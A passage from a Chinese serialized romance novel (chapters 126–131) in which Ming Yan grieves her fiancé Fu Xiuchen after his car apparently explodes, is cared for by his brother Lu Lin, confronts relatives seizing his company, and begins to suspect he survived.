明嫣的瞳孔骤然收缩,一股冰冷彻骨的不祥预感瞬间袭上心头! 那是……傅家庄园的方向?! 她猛地推开车门,踉跄着下车,死死盯着那团不断翻滚扩大的黑烟,手脚冰凉。 “傅修沉……”她无意识地喃喃出声,声音带着自己都没察觉的颤抖。 他刚才……就是从那个方向过来的! 他会不会…… 巨大的恐惧如同海啸,瞬间将她吞没。 她几乎是立刻掏出手机,颤抖着手指拨打傅修沉的号码。 “接电话……傅修沉……快接电话……”她一遍遍重复着,声音带上了哭腔。 然而,听筒里传来的,只有冰冷而持续的“嘟——嘟——”声,无人接听…… 第126章 节哀顺变(加更) 巨响震得耳膜嗡鸣。 远处冲天的火光与浓烟,像一头狰狞的巨兽,盘踞在远方天际。 傅家庄园的方向…… 他刚才就是从那里出来的! 手机里无人接听的忙音像死亡的倒计时,一下下敲在她耳膜上。 明嫣只觉得自己的心脏像是被一只无形的手狠狠攥住,骤停了一秒,随即疯狂地跳动起来,几乎要撞碎胸骨。 “傅修沉……” 她喃喃着,几乎没有任何犹豫,转身就拉开车门,重新钻回了驾驶座。 引擎发出一声低吼,车子像离弦的箭一样蹿了出去,轮胎摩擦地面发出刺耳的声响,直接将从屋子里刚刚出来的明燃和苏婉晴吓了一跳。 “嫣儿!你去哪儿?!”苏婉晴惊呼。 明燃反应最快,几个大步冲过来想拦,可明嫣已经一脚油门,车子如同离弦的箭,猛地蹿了出去,只留下刺耳的轮胎摩擦声和尾气。 “操!” 明燃低骂一声,立刻转身跑向自己的车,“爸,妈,你们在家等着,我去追她!” 而此时的明嫣握着方向盘的指节用力到泛白,手背青筋暴起。 她脑子里嗡嗡作响,只有一个念头——去那里!立刻!马上! 什么交通规则,什么安全,统统被抛到脑后。 她将油门踩到底,车子在空旷的街道上疯狂疾驰,窗外的景物飞速倒退,模糊成一片虚影。 心脏在胸腔里剧烈跳动,几乎要撞碎肋骨跳出来。 她不停地拨打傅修沉的电话,一遍,两遍,十遍……永远是无人接听的忙音。 那冰冷的‘嘟嘟嘟’的忙音像是一把钝刀,在她心上来回切割。 不会的…… 他那么厉害,算无遗策,怎么可能…… 一定是巧合,只是方向大概一致而已…… 她拼命安慰自己,可眼眶却不受控制地发热,视线迅速模糊,她用力眨了眨眼,逼回水汽,死死盯着前方那越来越清晰,越来越骇人的冲天火光和浓烟。 越靠近,空气里的焦糊味越是刺鼻,混乱的警笛声、人群的喧哗声交织在一起,敲打着耳膜。 道路被封锁了。 警戒线拉起了长长的隔离带,警察和消防员的身影在其中忙碌穿梭,试图维持秩序,疏散围观的人群和车辆。 明嫣的车被拦在了外围。 她猛地踩下刹车,甚至来不及熄火,直接推开车门,踉跄着冲了下去。 “小姐!这里不能进去!危险!”一名警察立刻上前阻拦。 “让我进去!我找人!我未婚夫在里面!”明嫣的声音嘶哑,带着她自己都没察觉的颤抖,她试图推开警察,往里面冲。 “里面火势还没完全控制,可能有二次爆炸风险!任何人不能靠近!请你立刻退到安全区域!”警察寸步不让,语气严厉。 明嫣根本听不进去。 她的目光穿透混乱的人群,死死锁住火光最盛处——那里,一辆被烈焰包裹、烧得只剩框架的黑色轿车若隐若现,车型…… 像是林肯…… 黑色的……林肯…… 傅修沉今天坐的车,好像就是…… 一股寒气从脚底瞬间窜遍全身,血液仿佛在这一刻冻结。 她不知哪来的力气,猛地撞开拦着她的警察,不顾一切地朝着那片火海冲去! “喂!站住!不能过去!”警察和消防员在她身后大喊。 没跑出几步,一个高大的消防员眼疾手快,一把将她死死拦住,双臂如同铁钳般箍住她。 “放开我!你放开我!他在里面!傅修沉!傅修沉在里面!”明嫣疯了似的挣扎,指甲在消防员厚重的防护服上留下划痕,眼泪终于决堤,混合着烟尘,在脸上冲出狼狈的痕迹。 “小姐!你冷静点!现在不能过去!太危险了!”消防员的声音透过面罩,带着沉闷的焦急。 “你让我怎么冷静!那可能是他的车!他可能在里面!”明嫣嘶吼着,声音破碎不堪。 就在这时,另一名负责现场协调的消防员快步走了过来,眉头紧锁,连带着嗓音都沉了下来,“这位女士,请你控制情绪!我们理解你的心情,但是……” 明嫣猛地抓住他的胳膊,像是抓住了最后一根救命稻草,仰着满是泪痕的脸,声音抖得不成样子:“车……那辆黑色的车……车牌……车牌号是不是沪A·XXXXX?”她报出了傅修沉那辆林肯的车牌。 那消防员愣了一下,显然没想到她能准确报出车牌,他看了一眼手里的平板电脑,又看了一眼火场方向,脸上露出了不忍和确认的神色,沉重地点了点头:“……初步核实,爆炸起火的车辆,确实是这个车牌。” “轰——!” 明嫣只觉得大脑像是被重锤狠狠砸中,眼前猛地一黑,耳朵里尖锐的嗡鸣声剥夺了所有外界的声音。 真的是他的车…… 真的是…… 她强撑着最后一丝力气,指甲深深掐进掌心,用尽全身的力气,从喉咙里挤出破碎不堪的问句:“那……车里的人……呢?” 消防员看着她瞬间灰败下去的脸色和摇摇欲坠的身体,实在不忍心说出那个答案,但职责所在,他只能偏过头,声音低哑:“……爆炸非常剧烈,火势太大……我们……我们暂时还没有发现……生还者迹象。可能……可能已经……” “可能已经找不着了……”旁边另一个消防员低声补充了一句,带着无尽的惋惜。 找不着了…… 那么激烈的爆炸…… 暂时还没有发现生还者迹象…… 这几个词组合在一起,像是一把烧红的匕首,狠狠捅进了明嫣的心脏,然后残忍地搅动。 她所有的力气在这一刻被彻底抽空。 世界在她眼前疯狂旋转、崩塌、碎裂,最后化为一片无边无际的黑暗。 “傅……”她张了张嘴,想喊那个名字,却发不出任何声音。 身体软软地向后倒去,意识彻底沉入深渊。 “小姐!” “快!医护人员!这里有人晕倒了!” 混乱的呼喊声在她彻底失去意识前,变得极其遥远…… 第127章 他死了! 明嫣醒来时,眼皮沉得抬不起来。 视野里先是朦胧的鹅黄色光晕,慢慢才聚焦到天花板上熟悉的水晶吊灯。 空气里有淡淡的薰衣草香,是她卧室惯用的助眠喷雾。 她偏过头,看见大哥明燃坐在床边的扶手椅里。 他穿着昨天的衬衫,领口松垮地敞着,下巴上冒出一层青黑的胡茬,一只手肘支在膝头,手指抵着额角,像是睡着了。 “哥……”她开口,嗓子干哑得厉害。 明燃立刻惊醒,抬眼看她。 他眼底布满了红血丝,像是熬了一整个长夜。 明嫣撑着身子想坐起来,浑身却酸软无力。 明燃伸手扶住她,在她背后垫了个软枕。 “我睡了多久?”她揉着发胀的太阳穴,“我刚才做了一个好可怕的噩梦……” 明燃的动作几不可察地僵住。 明嫣没注意,兀自说着,声音带着刚醒的慵懒和心有余悸:“我梦见……梦见傅修沉的车爆炸了,他们说他……说他找不着了……” 她甩甩头,似乎想将那些恐怖的画面驱散,眼眶微微泛红,“吓死我了。” 明燃的嘴唇动了动,没发出声音。 他别开脸,伸手去拿床头柜上的水杯,递给她。 明嫣接过杯子,温水润过喉咙,舒服了些。 她掀开被子,脚探下去找拖鞋。 “我得去找傅修沉,”她说,语气理所当然,“我的包还在他那儿,说好给我送来的,这人……肯定又忙忘了。” 她站起身,腿脚还有些虚软,晃了一下。 明燃猛地站起来,一把抓住她的手腕,力道大得捏得她骨头都有些疼。 他看着她,声音压抑着,几乎是从齿缝里挤出来:“嫣儿,你冷静一点!那不是梦!” 明嫣挣扎的动作顿住,抬起头,茫然地看着他:“……什么?” 明燃闭了闭眼,再睁开时,眼圈也红了,他死死攥着她的手,每一个字都像是淬了冰,砸在她心上:“傅修沉……他不在了。车炸了,人……没找到。” 时间仿佛在这一刻凝固。 明嫣脸上的血色以肉眼可见的速度褪去,变得惨白如纸。 她像是没听懂,只是愣愣地看着明燃,嘴唇哆嗦着:“你……你骗我……” “我没骗你!”明燃低吼,声音带着破碎的痛楚,“昨晚……傅家庄园附近发生爆炸,就是他的车!警方已经确认了!嫣儿,他死了!” “不可能!”明嫣猛地甩开他的手,力道之大,让明燃都踉跄了一下,“你骗我!我们昨天才订婚!他还要跟我一起回江南的!他答应了我的!他从来不会骗我!他不会!” 她绕过明燃,跌跌撞撞地往门口走。 “嫣儿!”明燃从身后抱住她,手臂铁箍般圈住她的腰,将她死死按在怀里,“别这样……接受现实……” “什么现实?!那不是现实!那是梦!”明嫣在他怀里挣扎,指甲在他手臂上划出红痕,“你放开我!我要去找他!他肯定在等我!他答应了我的!” 她的声音带了哭腔,却倔强地不肯让眼泪掉下来。 “他死了!”明燃低吼出声,声音里带着压抑不住的痛苦和暴躁,“尸体都找不到!你明不明白?!” 这句话像一把淬了冰的匕首,狠狠捅进了明嫣的心脏。 她所有的动作瞬间停止。 身体僵硬地被他抱着,一动不动。 过了好几秒,她才极其缓慢地一字一顿地重复:“尸、体?” 她猛地转过身,血红的眼睛死死盯住明燃,眼神陌生得可怕:“你再说一遍?” 明燃看着她这副样子,心脏像是被凌迟。 他闭了闭眼,再睁开时,眼底一片猩红:“昨晚,傅家庄园附近发生爆炸,他的车……被完全炸毁。消防队和搜救队找了一夜,没有……没有找到生还者。” 他每说一个字,明嫣的脸色就白一分。 到最后,她脸上彻底没了血色,嘴唇哆嗦着,却发不出任何声音。 她看着他,眼神空洞,像是无法理解他话语里的意思。 “不可能……”她喃喃道,声音轻得像羽毛,“他那么厉害……他什么都能算到……他怎么会……” 她推开明燃,一步步往后退,脊背抵在冰冷的门板上。 “他骗我的……他肯定又在骗我……”她摇着头,眼神涣散,“他最喜欢逗我了……这次玩得太过分了……” 苏婉晴和明庭峰听到动静,匆匆推门进来。 “嫣儿!”苏婉晴看到她失魂落魄的样子,心疼得立刻红了眼眶,上前想抱住她。 明嫣却像是受惊一样,猛地躲开她的手,蜷缩到墙角,双臂紧紧抱住自己。 “别碰我……”她把脸埋进膝盖,肩膀微微发抖,“你们都在骗我……合伙骗我……” 明庭峰看着女儿这副模样,重重叹了口气,仿佛一夜之间苍老了许多。他示意明燃先出去。 明燃拳头攥得死紧,指甲深陷进掌心,最终颓然转身,离开了房间。 苏婉晴蹲在明嫣面前,声音温柔得能滴出水来:“嫣儿,妈妈知道你难受,想哭就哭出来,别憋着……” 明嫣不回答,只是把自己缩得更紧。 接下来的几天,明嫣变得很安静。 她不哭,不闹,按时吃饭,按时睡觉。 只是吃得很少,睡得也很浅。 她不再提傅修沉的名字,也不再问任何关于爆炸的事情。 她大部分时间都待在房间里,坐在窗前,看着外面灰蒙蒙的天空,一看就是一整天。 眼神空茫茫的,没有焦点。 苏婉晴和明庭峰忧心忡忡,却不敢轻易刺激她。 明燃推掉了所有工作,守在家里。 他变得异常沉默,烟抽得很凶。 偶尔,他会看到明嫣无意识地摩挲着无名指——那里原本应该戴上一枚订婚戒指,但因为在宴会上敬酒不方便,她提前摘了下来,放在了那个丢失的手包里。 每一次,明燃都觉得心脏像是被针扎一样刺痛。 第五天,明嫣突然走出了房间。 她换上了一身外出的衣服,脸色虽然依旧苍白,但眼神里多了点不一样的东西。 “我要回江南。” 第128章 你把自己折腾死了,他就能活过来? 苏婉晴一愣:“嫣儿,你去江南做什么?你现在这个状态……” “律所还有很多事情要处理。” 明嫣打断她,声音没有什么起伏,“我不能一直待在家里。” 明燃掐灭了烟,抬头看她:“我陪你。” “不用。”明嫣拒绝得很干脆,“律所现在运转正常,我只是去处理一些积压的工作。” 她的理由听起来合情合理,但那双过于平静的眼睛,却让人心生不安。 最终,明家父母拗不过她,只能妥协。 明燃亲自开车送她去机场。 一路上,两人都很沉默。 快到机场时,明燃终于开口,声音干涩:“嫣儿,如果……如果难受,就回来。” 明嫣看着窗外飞速倒退的街景,轻轻“嗯”了一声。 到达江南,回到熟悉的律所,一切似乎都没有改变。 陆奉归看到她回来,先是惊喜,随即看到她消瘦的脸颊和眼底的青黑,惊喜变成了担忧。 “老板,你没事吧?” “没事。”明嫣径直走向自己的办公室,“把最近需要处理的文件拿给我。” 她投入了疯狂的工作中。 比以往任何时候都要拼命。 从早到晚,除了必要的进食和短暂的休息,她几乎不离开办公室。 案卷堆满了她的办公桌,她一份接一份地审阅、批示,仿佛只有这样,才能让大脑停止运转,不去想那些她拒绝相信的事情。 陆奉归和律所的其他同事都察觉到了她的异常,却不敢多问。 只有陆凛,自从傅修沉出事,所有人都以为他会回傅氏或者跃华,可他却依旧顶着一头招摇的金发在律所我行我素。 他看着明嫣那副近乎自虐的工作状态,眉头越皱越紧。 这天下午,明嫣因为连续熬夜和低血糖,眼前一黑,差点在办公室晕倒。 陆奉归手忙脚乱地给她冲了杯葡萄糖水。 陆凛靠在门框上,看着明嫣苍白着脸小口喝水,忽然冷冷开口:“你把自己折腾死了,他就能活过来?” 明嫣端杯子的手猛地一颤,热水溅了出来,烫红了手背。 她抬起头,看向陆凛,眼神冰冷:“你说什么?” 陆凛扯了扯嘴角,“我说,人死了就是死了。你在这要死要活,给谁看?” “陆凛!”陆奉归吓得脸都白了,连忙出声制止。 明嫣放下杯子,慢慢站起身,她走到陆凛面前,仰头看着他。 她的眼神很静,静得让人心头发毛。 “他没死。”她说,声音不大,却带着一种偏执的笃定。 陆凛嗤笑一声:“证据呢?搜救队找了多少天了?连块完整的骨头都没找到!” “那是他们没找到。”明嫣盯着他的眼睛,“不代表他不在了。” “自欺欺人。” “随你怎么说。”明嫣转过身,重新坐回办公桌后,拿起一份文件,“出去的时候把门带上。” 陆凛只觉得胸口堵得厉害,一股邪火没处发,最终狠狠踹了一脚门框,摔门而去。 “砰”的一声巨响,震得整个楼层仿佛都颤了颤。 陆奉归胆战心惊,看着明嫣毫无反应继续工作的侧影,只能在心里叹气。 陆凛一路飙车回了自己在江南的临时住处,是一套顶层复式公寓,视野开阔,装修冷硬,没什么烟火气。 他烦躁地耙了耙那头金发,从酒柜里拎出一瓶烈酒,也不用杯子,直接对着瓶口灌了好几口。 辛辣的液体灼烧着喉咙,却浇不灭心底那股越烧越旺的烦躁和……一丝连他自己都不愿承认的恐慌。 他想起订婚宴那天母亲不正常地紧张…… 想起后来在休息室外隐约听到的只言片语…… 想起傅修沉说的那个小药瓶…… 他不是傻子。 有些事,串联起来,指向一个他不敢深想的答案。 大哥的死,恐怕……不是意外。 而他的母亲,甚至二伯,都可能脱不了干系。 这个认知像一条毒蛇,盘踞在他心头,日夜啃噬。 更何况…… 他的眼前不受控制地浮现出明嫣那张苍白的没有一丝血色的脸,和她那双死寂沉沉的眼睛。 心脏像是被什么东西狠狠揪了一下。 他想起自己刚来律所时,她眼里的狡黠和明亮…… 而不是像现在这样,像一株失去水源的植物,正在一点点枯萎。 一股莫名的负罪感沉甸甸地压了下来。 他仰头,又灌了一大口酒,试图将那些混乱的思绪和不该有的情绪全部压下去。 …… 晚上,明嫣一个人回到公寓。 空荡荡的房间,安静得能听到自己的心跳声。 她没有开灯,借着窗外透进来的月光,走到客厅的落地窗前。 江南的夜空,不像魔都那样总是蒙着一层灰霾。 今晚月色很好,繁星点点。 她抬起头,下意识地寻找着。 很快,她看到了那颗星。 那颗傅修沉指给她看过的,即使在阴天也能隐约看到光芒的,最亮的星星。 它依旧挂在那里,闪烁着清冷的光。 明嫣看着它,看了很久很久。 然后,她闭上眼,在心里默念。 傅修沉。 傅修沉。 傅修沉。 三遍数完,她睁开眼。 眼前只有冰冷的玻璃,映出她自己孤单的身影。 没有那个带着清冽木质香气的怀抱。 什么都没有。 身体沿着冰冷的玻璃缓缓滑落,最终蜷缩在冰凉的地板上。 眼泪无声地汹涌而出,浸湿了衣襟。 起初是压抑的啜泣,渐渐地,变成了无法控制的痛哭。 她哭得浑身发抖,像要把五脏六腑都呕出来。 原来……那个噩梦是真的。 他真的不在了。 那个总是逗她惹她生气,却又在她最需要的时候出现的傅修沉…… 那个要把整个跃华生物送给她的傅修沉…… 那个对她说“只要你想,我就会出现在你面前”的傅修沉…… 再也不在了。 她再也见不到他了。 她不知道自己哭了多久,直到嗓子哑得发不出声音,眼泪也流干了,只剩下身体无法控制的阵阵痉挛。 她蜷在地板上,意识模糊间,她仿佛又听到了他低沉含笑的嗓音—— “来给我的未婚妻送一颗定心丸。” “我的未婚妻,当然是怎么舒服怎么来。” “叫老公,给你摸腹肌……” 那些回忆碎片般涌现,甜蜜变成了穿肠毒药。 她用力捂住耳朵,却无法阻挡那些声音在脑海里回荡。 “傅修沉……”她的嗓音嘶哑,“你这个……骗子……” 可回答她的,只有一屋子的死寂…… 第129章 他没死……(加更) 第二天,明嫣没有去律所。 陆奉归打来电话,她挂断了。 手机屏幕亮起,有很多未读消息和未接来电,她一条都没有看。 她躺在床上,睁着眼睛,看着天花板,一动不动。 仿佛所有的生气,都随着昨晚那场痛哭流尽了。 中午时分,门铃响了。 一声接一声,锲而不舍。 明嫣像是没听见。 门外的人似乎失去了耐心,开始用力拍门。 “明嫣!开门!我知道你在里面!”是陆凛的声音,带着一贯的不耐和暴躁。 明嫣拉起被子,盖住了头。 拍门声持续了几分钟,外面安静了下来。 就在明嫣以为他走了的时候,阳台方向传来了动静。 “咔哒”一声轻响,阳台的门被人从外面撬开了。 陆凛高大的身影出现在卧室门口,带着室外的寒气。 他看着蜷缩在床上的明嫣,眉头拧紧。 “你他妈真要给自己闷死?”他几步走过来,一把掀开被子。 看到明嫣红肿的眼睛和苍白得没有一丝血色的脸,他动作顿了一下,语气却依旧很冲:“起来吃饭。” 明嫣闭上眼,不理他。 陆凛盯着她看了几秒,忽然弯腰,直接将她从床上打横抱了起来。 “你干什么?!”明嫣惊怒交加,挣扎起来。 “闭嘴。”陆凛抱着她,大步走到客厅,将她扔在沙发上。 动作算不上温柔,但避开了她可能会磕碰到的地方。 他转身走进厨房,不一会儿,端着一碗还冒着热气的白粥走出来,重重放在她面前的茶几上。 “吃。” 明嫣扭开头。 陆凛在她身边坐下,长腿大剌剌地敞着,拿起勺子,舀了一勺粥,递到她嘴边。 “不吃我就灌下去。”他语气恶劣,眼神却紧紧盯着她。 明嫣死死抿着唇。 两人僵持着。 最终,陆凛放下勺子,烦躁地“操”了一声。 “你就这点出息?”他看着她,眼神复杂,“我哥要是看到你现在这副鬼样子,棺材板都得掀了。” 明嫣的身体猛地一颤。 “他没死……”她声音嘶哑,带着一种脆弱的固执。 “行,他没死。”陆凛扯了扯嘴角,顺着她的话说,带着讽刺,“那他要是没死,看你把自己搞成这样,他是会心疼,还是会觉得你是个废物?” 明嫣愣住了。 “他那种人,”陆凛靠在沙发背上,目光看向窗外,语气有些飘忽,“喜欢的,不会是只会哭哭啼啼,要死要活的废物吧?” 明嫣攥紧了手指。 “把粥喝了。”陆凛收回目光,重新拿起勺子,递到她面前,这次语气缓和了些,“活着,才能等到他回来。或者……找到他。” 最后几个字,他说得很轻。 明嫣看着他,又看了看那碗热气腾腾的白粥。 过了很久,她慢慢地伸出手,接过了勺子。 陆凛看着她把第一口粥送进嘴里,几不可察地松了口气。 他站起身,双手插在裤袋里,朝门口走去。 门轻轻合上。 明嫣握着勺子,低着头,一口一口,机械地吃着碗里的粥。 眼泪,无声地滴落进粥里。 咸涩的味道,在口腔里蔓延开。 而就在明嫣食不知味地喝着粥时,放在一旁的手机突然震动了起来,她下意识地扫了一眼来电显示——是陆奉归。 想到之前她曾嘱托他帮忙调查的事,她抬手擦了擦脸,连忙摁下了接听键。 “喂……” “老大,不好了,傅家那边出事了……” 明嫣握着手机匙的手指一顿,指节微微泛白,“怎么了?” “傅老爷子受不住打击,住院了。傅夫人也……不太好。”陆奉归顿了顿,语气更低,“现在傅家是傅承平和傅承慧在主持大局。跃华生物现在已经……被他们接手了。” 电话那头沉默片刻,陆奉归的声音带了几分迟疑:“还有……秦婉被接回傅家了。” 明嫣不由得一怔,“什么?” 陆奉归抿了抿唇,“秦婉被认回傅家了,还是以……傅总同父异母妹妹的身份。” 明嫣扯了扯嘴角。 多可笑。 傅修沉尸骨未寒——不,他连尸骨都没有找到。 这些人就已经急不可耐地瓜分他留下的一切,连他死了都要玷污他父亲的名声。 她挂了电话,站在逐渐暗下来的客厅里,四周寂静无声。 良久,她拿起外套和车钥匙,转身走了出去。 傅家老宅比以往更显森严。 明嫣的车被拦在大门外,保安面无表情:“抱歉,没有预约不能进。” 明嫣降下车窗,目光平静地扫过去:“我找温姨。” “夫人不见客。” 僵持间,一道娇柔带笑的声音从身后传来:“哟,我当是谁呢?” 明嫣回头。 只见秦婉穿着一身香奈儿最新款的套装,拎着限量手包,袅袅婷婷地站在不远处。 她身后跟着两个佣人,姿态是前所未有的张扬。 “明嫣……”秦婉走到车边,微微俯身,眼底是毫不掩饰的恶意,“哦不对,该叫你……扫把星?” 明嫣握方向盘的手紧了紧,指节绷得发白。 秦婉轻笑,“你脸皮还真是一如既往地厚,竟然来找温姨?还嫌害得她不够惨吗?我大哥刚跟你订了婚就死了,听说……还是为了给你送包?” 她凑近些,压低了声音,一字一句像毒蛇吐信:“你说你是不是个扫把星?嗯?谁沾上你谁倒霉?” 明嫣猛地推开车门。 “啪!” 一记清脆的耳光狠狠扇在秦婉脸上。 秦婉被打得偏过头去,捂着瞬间红肿的脸颊,难以置信地瞪大眼睛:“你敢打我?!” “打你就打你,”明嫣声音冷得像冰,“还要挑日子吗?” 秦婉气得浑身发抖,尖声叫道:“给我抓住她!” 身后两个佣人立刻冲上来,一左一右死死扭住明嫣的胳膊。 明嫣奋力挣扎,但到底力气不敌,被死死按在车门上。 秦婉揉着脸,眼神怨毒地走上前,扬起手—— “住手。” 一道冷戾的嗓音自身后响起。 陆凛不知何时到来,双手插在裤袋里,顶着一头嚣张的金发,慢悠悠地踱步过来。 他目光扫过被制住的明嫣,最后落在秦婉身上,嘴角扯出一个要笑不笑的弧度:“怎么,傅家什么时候轮到你当家了?” 秦婉脸色变了几变,勉强挤出个笑:“陆凛,这是我跟她之间的事……” “她是我嫂子。” 陆凛打断她,语气平淡,却带着不容置疑的压迫感,“放开。” 第130章 如果爆炸前他跳车了呢? 秦婉咬了咬唇,心有不甘,但到底不敢跟陆凛正面冲突,只得悻悻地摆了摆手。 佣人立刻松开了明嫣。 “我们走着瞧!”秦婉狠狠瞪了明嫣一眼,转身快步进了大门。 陆凛这才走到明嫣面前,垂眸看她:“没事吧?” 明嫣活动了下被捏痛的手腕,摇头。 她抬头看向陆凛,夜色中,她眼底像燃着两簇幽冷的火。 “陆凛,”她盯着他,“你知不知道,是谁在你哥车上动了手脚?” 以傅修沉的警觉,普通手段根本近不了他的身,一定是身边的人下手…… 晚风吹过,带着初冬的寒意。 陆凛喉结滚动了一下,目光落在远处黑沉沉的树影上,嗓音微沉,“还在查。” 明嫣的眉头微皱,想到傅修沉出事后,除了傅承平外,傅承慧是最大的既得利益者…… 她没有再追问,只是深深地看了他一眼,“好,我知道了。” 她转过身,拉开车门,声音没有任何波澜,“我也会继续查。” 车子引擎发动,尾灯划破黑暗,迅速驶离。 陆凛站在原地,看着车子消失的方向,只觉得胸口莫名堵得厉害,他烦躁地一脚踹在旁边的树干上,震得枯叶簌簌落下…… …… 第二天,明嫣便直接去了跃华生物。 大厦依旧高耸入云,却仿佛笼罩着一层无形的阴霾。 她刚走出电梯,就听见法务部方向传来激烈的争吵声。 “周慕言!你别给脸不要脸!傅总已经不在了,跃华现在由傅承平先生暂代管理,我们来接管法务部是名正言顺!”一个穿着灰色西装的中年男人指着周慕言的鼻子,语气咄咄逼人。 周慕言站在法务部门口,身后是几个面色愤慨的年轻律师。 他脸上没什么表情,只有镜片后的眼神冷得像冰。 “名正言顺?”周慕言嗤笑一声,“这是傅总的地盘,还轮不到你们在这儿撒野!” “你!”那男人气得脸色涨红,“周慕言,你别敬酒不吃吃罚酒!傅总已经不在了,你以为你能挡多久?” “挡多久是我的事。”周慕言语气斩钉截铁,“只要我周慕言还站在这里一天,这法务部就还是傅总的地盘!想要进来,先从我的尸体上踏过去!” 他身后几个年轻律师也齐刷刷上前一步,眼神里是全然的维护和坚定。 那几个人显然没料到周慕言如此强硬,脸色一阵青一阵白。 “好!好你个周慕言!咱们走着瞧!”为首那人撂下狠话,悻悻地带着人离开。 走廊里暂时恢复了安静,只剩下法务部员工们的低语。 周慕言疲惫地揉了揉眉心,一抬眼,看见了站在不远处的明嫣。 他愣了一下,快步走过来,“明小学妹?你怎么来了?” “我来看看。”明嫣的目光扫过狼藉的门口,“他们是傅承平的人?” 周慕言脸色凝重地点头,“傅总一出事,他们就迫不及待了,今天已经是第三波了。” 明嫣的心沉了下去。 周慕言再强硬,终究只是傅修沉雇佣的首席法务,面对傅家名正言顺的接管,他能抵挡多久? “周律师,”她犹豫了一下,还是问出了口,“关于傅修沉……出事那天,他真的在车上吗?有没有可能……” 周慕言看着她眼底残存的一丝微光,沉默了片刻,引着她走进自己的办公室。 房门关上,隔绝了外面的视线。 周慕言的声音带着沙哑,“傅总出事前给我打过电话。” 明嫣猛地抬头,心脏骤紧。 “他让我去取一个药瓶,嘱咐我立刻送去化验指纹和成分。”周慕言回忆着,眉头紧锁。 “然后呢?”她声音有些发紧。 “可通话到一半,信号突然变得很差,滋啦滋啦的……” 周慕言的声音低沉下去,“我听见他那边好像有急刹车的声音……好像还有……水声?然后……就是一声爆炸巨响……” 明嫣死死攥紧手指,指甲深陷进掌心,才能勉强维持镇定。 “所以……”她抬起头,眼眶不受控制地泛红,声音带着细微的颤抖,“你也觉得……他真的不在了吗?连……连尸体都找不到……” 周慕言重重地叹了口气,眼底满是不忍。 他移开视线,声音干涩:“明学妹……节哀,保重身体,傅总他……一定不希望你这样。” 节哀……保重…… 连周慕言也认定了他的死亡。 明嫣没有再问下去。 她转过身,背脊挺得笔直,一步一步地朝电梯走去。 坐进车里,明嫣却没有立刻发动,她只觉得浑身发冷,头也开始一阵阵的钝痛。 她揉了揉眉心,周慕言的话反复在脑海里回荡。 药瓶…… 爆炸…… 水声…… 等等! 水声? 明嫣猛地睁开眼——她记得爆炸地点是在桥上,那里的确有一条河! 如果…… 如果爆炸前他跳车了呢? 如果那水声是真的,他掉进了河里呢? 这个念头一旦升起,就再也无法遏制,一丝微弱希望在她心底破土而出。 她甚至来不及细想这个猜测有多么渺茫,只是凭着一种本能,一种近乎偏执的信念,朝着那个方向奔去。 河流在城郊交界处,水面在冬日的阳光下泛着冰冷的波光。 明嫣跌跌撞撞地冲下河堤,沿着岸边疯狂地寻找,目光扫过每一处可能挂住人的树枝,每一片可能留下痕迹的滩涂。 “傅修沉!” “傅修沉!你在哪里?!” 她嘶哑地喊着,回应她的只有潺潺的水声和呼啸而过的寒风。 几个小时过去,太阳西斜,温度骤降。 她找遍了附近可能的上岸点,询问了偶尔路过的村民,得到的只有摇头和同情的目光。 什么都没有。 没有血迹,没有衣物碎片,没有任何他存在过的痕迹。 希望,像被针扎破的气球,迅速干瘪下去。 那点星火彻底熄灭。 一直强撑着的精神气骤然溃散,随之而来的是灭顶的疲惫和绝望。 她站在冰冷的河水边,只觉得一阵天旋地转,浑身发冷,头重脚轻。 仿佛最后一丝力气被抽干,她眼前一黑,软软地倒在了河滩上…… 第131章 那是他哥的女人…… 再次恢复意识时,明嫣只觉得浑身滚烫,喉咙干得像是要冒烟。 她费力地睁开眼,模糊的视线里,是熟悉的天花板——她在江南的公寓。 “醒了?”一道略显沙哑的嗓音在旁边响起。 她偏过头,眼前影影绰绰地看不清楚。 “你发烧了,昏睡了一天……”水杯递到她唇边,“喝水。” 明嫣就着他的手,小口啜饮着温水,干涸的喉咙得到滋润,舒服了一些。 可高烧让她的意识依旧混沌,视线模糊不清。 眼前的身影,挺拔,带着一种熟悉的冷峻轮廓…… “傅修沉……”她无意识地喃喃出声,声音虚弱而依赖。 陆凛递水杯的动作猛地一僵。 明嫣却仿佛抓住了救命稻草,伸出滚烫的手,轻轻抓住了他的手腕。 她的指尖灼热,像带着电流,瞬间窜过陆凛的皮肤。 “你回来了……”她看着他,眼神迷离,没有焦距,“我就知道……你不会丢下我的……” 陆凛的身体彻底僵住,握着水杯的手指收紧,指节泛白。 他看着床上脸色潮红的女人,看着她眼中透过他在看另一个人的依赖和眷恋…… 一种从未有过的汹涌情绪撞击着他的心脏。 有点酸,有点涩,还有点……莫名的悸动。 他应该立刻甩开她的手,冷声告诉她认错人了。 他哥的女人,他不该有任何非分之想。 但他没有动。 他就那样僵硬地坐着,任由她滚烫的手指搭在他的手腕上。 “别走……”明嫣抓着他的手更紧了些,像是害怕一松手,眼前的人就会消失,“傅修沉,我好想你……” 陆凛喉结剧烈地滚动了一下,最终没有抽回手。 他就这样僵硬地坐在床边,任由她抱着,另一只空着的手,迟疑地落在了她汗湿的额发上,轻轻拂开。 动作有些笨拙,甚至带着他自己都未察觉的小心翼翼。 “嗯……”似乎感受到了安抚,明嫣哼唧了一声,往他手的方向蹭了蹭,抱得更紧了。 陆凛看着她的睡颜,心底那点陌生的情愫,如同投入湖面的石子,荡开了一圈圈涟漪…… …… 烧热退却,明嫣在第二天早上才幽幽醒来。 “老大,你终于醒了!”耳边传来陆奉归如释重负的声音。 明嫣的视线缓缓聚焦在陆奉归满脸的关切。 寒冬腊月,屋内暖气充足,大抵意识混沌格外好眠,她只记得河边的事情…… 她好像还梦见了傅修沉。 她忍不住地眼眶泛红,这是他出事以来,第一次入她的梦…… 她一直以为他在怪她。 若不是因为给她送手包,傅修沉或许就不会开车…… 也不会发生后来的事。 “老大……”陆奉归见明嫣眼眶通红,一时间也不知道该说什么安慰。 “我没事儿……” 也不知道过了多久,明嫣这才平复好情绪,她强撑着坐起来身,高烧后的虚软让她指尖发颤,但眼神却像是被冰水淬过。 “陆奉归……”她声音沙哑,“帮把我笔记本电脑拿来。” 陆奉归愣了下,连忙将床头柜上的笔记本递过去。 明嫣接过来,指尖在触摸板上滑动,调出所有关于傅承平和傅承慧的公开资料,以及跃华生物近期的股权变动和董事会记录。 屏幕的冷光映在她苍白的脸上,勾勒出一种近乎冷酷的专注。 